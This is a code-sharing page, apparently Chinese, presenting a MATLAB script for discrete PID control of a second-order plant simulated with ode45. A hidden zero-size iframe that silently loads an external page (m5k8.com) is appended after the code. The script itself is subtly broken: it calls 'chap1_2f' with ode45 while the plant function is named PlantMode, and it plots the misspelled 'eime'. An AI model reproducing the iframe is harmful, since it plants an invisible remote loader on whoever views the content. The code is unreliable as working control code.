数字pid控制.m

来自「一个数字PID控制的matlab的m文件」· M 代码 · 共 55 行

M
55
字号
%Discrete PID control for continuous plant
clear all;
close all;

ts=0.001;           %Sampling time
xk=zeros(2,1);
e_1=0;
u_1=0;

for k=1:1:2000
    time(k)=k*ts;
    
rin(k)=0.50*sin(1*2*pi*k*ts);

para=u_1;
tspan=[0 ts];
[tt,xx]=ode45('chap1_2f',tspan,xk,[],para);
xk=xx(length(xx),:);
yout(k)=xk(1);

e(k)=rin(k)-yout(k);
de(k)=(e(k)-e_1)/ts;

u(k)=20.0*e(k)+0.50*de(k);

%Control limit
if u(k)>10.0
    u(k)=10.0;
end 
if u(k)<-10.0;
    u(k)=-10;
end 

u_1=u(k);
e_1=e(k);
end

figure(1);
plot(eime,rin,'r',time,yout,'b');
xlabel('time(s)'),ylabel('rin,yout');
figure(2);
plot(time,rin-yout,'r');
xlabel('time(s)'),ylabel('error');

function dy=PlantMode(t,y,flag,para)
u=para;
J=0.0067;B=0.1;

dy=zeros(2,1);
dy(1)=y(2);
dy(2)=-(B/J)*y(2)+(1/J)*u;


<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?